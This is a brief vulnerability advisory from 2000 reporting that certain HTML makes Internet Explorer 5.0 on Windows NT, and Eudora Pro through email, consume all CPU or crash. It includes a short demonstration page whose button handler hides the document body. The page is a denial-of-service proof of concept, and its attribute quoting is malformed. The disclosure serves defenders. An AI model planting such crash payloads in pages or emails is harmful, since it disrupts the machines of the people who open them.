HTML Code Causes 100% CPU Usage

Reported March 13, 2000 by Tim DeWolf
VERSIONS AFFECTED
  • Internet Explorer 5.0 on Windows NT

DESCRIPTION

Certain HTML code can cause Internet Explorer 5.0 to crash or consume all available CPU cycles until the offending process is terminated manually.

In one instance, an email that contained the code caused Eudora Pro to consume 100% CPU when the email was opened. 

Non-NT versions of Internet Explorer were not tested for this vulnerability.

DEMONSTRATION

<html>
<body bgcolor="white">
<form>
<input type="button" value=" Click here to test for the problem " onclick="document.body.style.display="none"" style="position: absolute; left: 40%; top: 50%; background: #777777;">
</form>
</body>
</html>

VENDOR RESPONSE

Microsoft is aware of this issue, however no response was known at the time of this writing.

CREDITS
Discovered by Tim DeWolf